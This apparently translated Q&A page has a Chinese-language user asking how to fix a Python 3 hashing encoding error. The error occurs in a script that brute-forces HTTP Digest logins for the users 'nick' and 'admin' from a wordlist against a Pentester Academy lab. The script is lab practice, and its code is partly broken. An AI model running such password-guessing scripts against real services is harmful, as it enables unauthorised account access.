Question

我已经创建了一个程序，从下面显示的错误以及在Stack上的其他帖子中我了解到，我需要对对象进行编码，然后才能对其进行哈希处理。

我尝试了几种方法来执行此操作，但仍然不断收到相同的错误消息。下面提供的是我的代码，也是我尝试过的更改的列表。

我了解需要做什么，但我想我将代码放在错误的位置，或者语法错误，因为我尝试的内容无法正常工作。

非常感谢您的帮助。

错误消息

    ha1 = hashlib.md5(user + ':' + realm + ':' + password.strip()).hexdigest()
    TypeError: Unicode-objects must be encoded before hashing

代码

import sys
import requests
import hashlib

realm = "Pentester Academy"


lines = [line.rstrip('\n') for line in open('wordl2.txt')]

print (lines)

for user in ['nick', 'admin']:
get_response = requests.get("http://pentesteracademylab.appspot.com/lab/webapp/digest2/1")
test_creds = get_response

print (test_creds)

for password in lines:


    # not the correct way but works for this challenge

    snounce = test_creds.headers.get('www-authenticate').split('"')
    uri = "/lab/webapp/digest2/1"

    # create the HTTP Digest
    ha1 = hashlib.md5(user + ':' + realm + ':' + password.strip()).hexdigest()

    ha2 = hashlib.md5("GET:" + uri).hexdigest()

    response = hashlib.md5(ha1 + ':' + snounce + ':' + ha2).hexdigest()

    header_string = 'Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"' % (user, realm, snounce, uri, response)
    headers = { 'Authorization' : header_string }

    test_creds = requests.get("http://pentesteracademylab.appspot.com/lab/webapp/digest2/1", headers = headers)

    if test_creds.status_code == 200:
        print ("CRACKED: %s:%s" % (user,password))
        break
    elif test_creds.status_code == 401:
        print ("FAILED: %s:%s" % (user,password))
    else:
        print ("unexpected Status code: %d " % test_creds.status_code)

尝试更改

password.encode(utf-8)

----------------------

hashlib.md5().update(password.encode(lines.encoding))

---------------

lines = [line.rstrip('\n') for line in open('wordl2.txt', "rb")]

Answer 1

我已经成功地使用行

解决了自己的问题

pass2 = str.encode(password)

仅在循环密码内

无法获得编码以在python 3中工作

1 个答案: